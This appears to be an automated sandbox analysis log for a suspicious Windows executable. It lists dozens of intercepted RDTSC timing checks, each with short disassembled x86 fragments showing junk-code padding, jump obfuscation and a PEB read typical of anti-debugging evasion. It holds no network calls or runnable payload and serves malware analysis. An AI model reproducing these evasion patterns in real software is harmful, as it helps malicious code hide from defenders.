Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A7F2CD second address: A7F2E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F96486CD646h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A7F944 second address: A7F949 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A7F949 second address: A7F94E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A80328 second address: A80330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A8563E second address: A85661 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jng 00007F96486CD646h 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F96486CD651h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A90462 second address: A9047A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9648C33B44h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A9DE90 second address: A9DE94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A9DE94 second address: A9DEA4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9648C33B36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AA0389 second address: AA03A9 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F96486CD64Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pop edx 0x00000012 jnp 00007F96486CD652h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AA03A9 second address: AA03AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AA03AF second address: AA03B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AA03B3 second address: AA03BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AA2359 second address: AA236D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96486CD650h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AA236D second address: AA2371 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AA2371 second address: AA2377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AA2098 second address: AA20A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F9648C33B36h 0x0000000a jng 00007F9648C33B36h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AA8400 second address: AA8423 instructions: 0x00000000 rdtsc 0x00000002 je 00007F96486CD646h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F96486CD653h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AA8551 second address: AA8557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AA8557 second address: AA855B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AA86B5 second address: AA86C1 instructions: 0x00000000 rdtsc 0x00000002 js 00007F9648C33B3Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AA8EC7 second address: AA8ECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AAAA30 second address: AAAA35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AAAA35 second address: AAAA4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F96486CD646h 0x0000000a jmp 00007F96486CD650h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AB096A second address: AB096E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AB0B75 second address: AB0BE6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F96486CD651h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F96486CD655h 0x00000011 nop 0x00000012 add dx, C8B7h 0x00000017 push 00000004h 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007F96486CD648h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 00000017h 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 mov dx, si 0x00000036 mov edx, dword ptr [ebp+1248959Fh] 0x0000003c push B6933FE0h 0x00000041 pushad 0x00000042 pushad 0x00000043 jo 00007F96486CD646h 0x00000049 push edi 0x0000004a pop edi 0x0000004b popad 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AB0BE6 second address: AB0BEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AB0E70 second address: AB0E74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AB0E74 second address: AB0E93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B48h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AB0E93 second address: AB0EAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jp 00007F96486CD64Ch 0x0000000e jng 00007F96486CD646h 0x00000014 push eax 0x00000015 push edx 0x00000016 jnp 00007F96486CD646h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AB0EAF second address: AB0F14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 add dword ptr [ebp+122D2261h], edx 0x0000000e push dword ptr [ebp+122D32D8h] 0x00000014 push edx 0x00000015 pushad 0x00000016 mov dword ptr [ebp+122D1D6Ah], ebx 0x0000001c or dword ptr [ebp+122D1D71h], ebx 0x00000022 popad 0x00000023 pop edx 0x00000024 call 00007F9648C33B39h 0x00000029 jmp 00007F9648C33B45h 0x0000002e push eax 0x0000002f jmp 00007F9648C33B49h 0x00000034 mov eax, dword ptr [esp+04h] 0x00000038 push eax 0x00000039 push edx 0x0000003a push ecx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AB0F14 second address: AB0F19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AB28C6 second address: AB28CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AB28CC second address: AB28D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AB481D second address: AB4827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F9648C33B36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AB4827 second address: AB482B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AB482B second address: AB4831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AB4831 second address: AB4837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AB4837 second address: AB483F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: AB483F second address: AB4843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4DC014E second address: 4DC0164 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4DC0164 second address: 4DC016A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4DC016A second address: 4DC016F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4DC016F second address: 4DC0180 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4DC0180 second address: 4DC0184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4DC0184 second address: 4DC01A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD659h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4DC01A1 second address: 4DC01A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4DC01A7 second address: 4DC01AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4DC01AB second address: 4DC01AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4DC01AF second address: 4DC01BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4DC01BE second address: 4DC01C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4DC01C2 second address: 4DC01C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D7004A second address: 4D7004F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D7004F second address: 4D7006A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96486CD657h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D7006A second address: 4D7009B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F9648C33B3Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D7009B second address: 4D700AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96486CD64Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D700AB second address: 4D700E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F9648C33B47h 0x0000000f mov eax, dword ptr fs:[00000030h] 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F9648C33B45h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D700E9 second address: 4D701EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD651h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 18h 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F96486CD64Ch 0x00000013 sub cl, FFFFFFB8h 0x00000016 jmp 00007F96486CD64Bh 0x0000001b popfd 0x0000001c mov dx, cx 0x0000001f popad 0x00000020 xchg eax, ebx 0x00000021 jmp 00007F96486CD652h 0x00000026 push eax 0x00000027 jmp 00007F96486CD64Bh 0x0000002c xchg eax, ebx 0x0000002d jmp 00007F96486CD656h 0x00000032 mov ebx, dword ptr [eax+10h] 0x00000035 jmp 00007F96486CD650h 0x0000003a xchg eax, esi 0x0000003b jmp 00007F96486CD650h 0x00000040 push eax 0x00000041 jmp 00007F96486CD64Bh 0x00000046 xchg eax, esi 0x00000047 pushad 0x00000048 push esi 0x00000049 pushfd 0x0000004a jmp 00007F96486CD64Bh 0x0000004f add eax, 1022559Eh 0x00000055 jmp 00007F96486CD659h 0x0000005a popfd 0x0000005b pop ecx 0x0000005c mov ecx, edi 0x0000005e popad 0x0000005f mov esi, dword ptr [74E806ECh] 0x00000065 jmp 00007F96486CD653h 0x0000006a test esi, esi 0x0000006c pushad 0x0000006d pushad 0x0000006e jmp 00007F96486CD652h 0x00000073 popad 0x00000074 push edx 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D701EE second address: 4D70212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 jne 00007F9648C34B2Dh 0x0000000c pushad 0x0000000d push edx 0x0000000e jmp 00007F9648C33B42h 0x00000013 pop eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70212 second address: 4D7024E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push esi 0x00000007 pushad 0x00000008 mov eax, 2E20EFA5h 0x0000000d jmp 00007F96486CD652h 0x00000012 popad 0x00000013 mov dword ptr [esp], edi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F96486CD657h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D7024E second address: 4D702C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call dword ptr [74E50B60h] 0x0000000f mov eax, 750BE5E0h 0x00000014 ret 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F9648C33B3Ch 0x0000001c or esi, 379A4378h 0x00000022 jmp 00007F9648C33B3Bh 0x00000027 popfd 0x00000028 pushfd 0x00000029 jmp 00007F9648C33B48h 0x0000002e add ch, FFFFFFD8h 0x00000031 jmp 00007F9648C33B3Bh 0x00000036 popfd 0x00000037 popad 0x00000038 push 00000044h 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D702C2 second address: 4D702C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D702C6 second address: 4D702CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D702CC second address: 4D7031D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD64Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a jmp 00007F96486CD650h 0x0000000f xchg eax, edi 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F96486CD64Eh 0x00000017 xor cl, FFFFFF98h 0x0000001a jmp 00007F96486CD64Bh 0x0000001f popfd 0x00000020 mov ebx, esi 0x00000022 popad 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 jmp 00007F96486CD64Ah 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D7031D second address: 4D7032F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9648C33B3Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D7032F second address: 4D70333 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70333 second address: 4D70348 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9648C33B3Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70348 second address: 4D7034E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D7034E second address: 4D70387 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F9648C33B42h 0x00000013 jmp 00007F9648C33B45h 0x00000018 popfd 0x00000019 mov ah, 03h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70415 second address: 4D70424 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD64Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70424 second address: 4D70459 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9648C33B3Fh 0x00000009 or ecx, 548175AEh 0x0000000f jmp 00007F9648C33B49h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70459 second address: 4D704B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 test esi, esi 0x00000009 jmp 00007F96486CD64Ch 0x0000000e je 00007F96B875C880h 0x00000014 jmp 00007F96486CD650h 0x00000019 sub eax, eax 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F96486CD657h 0x00000022 jmp 00007F96486CD653h 0x00000027 popfd 0x00000028 push eax 0x00000029 push edx 0x0000002a mov ax, F285h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D704B9 second address: 4D704F0 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F9648C33B42h 0x00000008 sub ecx, 008D7F18h 0x0000000e jmp 00007F9648C33B3Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 mov dword ptr [esi], edi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov ebx, 34F89206h 0x00000021 mov cl, bl 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D704F0 second address: 4D70510 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 6FD3D7EAh 0x00000008 call 00007F96486CD64Bh 0x0000000d pop esi 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esi+04h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70510 second address: 4D70514 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70514 second address: 4D7051A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D7051A second address: 4D70520 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70520 second address: 4D70524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70524 second address: 4D70528 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70528 second address: 4D7053C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+08h], eax 0x0000000b pushad 0x0000000c mov dx, 41A2h 0x00000010 push eax 0x00000011 push edx 0x00000012 mov dh, 01h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D7053C second address: 4D7059B instructions: 0x00000000 rdtsc 0x00000002 mov edx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esi+0Ch], eax 0x0000000a pushad 0x0000000b mov esi, 3CA51CD9h 0x00000010 mov dx, cx 0x00000013 popad 0x00000014 mov eax, dword ptr [ebx+4Ch] 0x00000017 jmp 00007F9648C33B40h 0x0000001c mov dword ptr [esi+10h], eax 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F9648C33B3Eh 0x00000026 adc cl, FFFFFF98h 0x00000029 jmp 00007F9648C33B3Bh 0x0000002e popfd 0x0000002f popad 0x00000030 mov eax, dword ptr [ebx+50h] 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F9648C33B40h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D7059B second address: 4D705D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F96486CD651h 0x00000008 mov edx, ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esi+14h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F96486CD659h 0x00000017 rdtsc
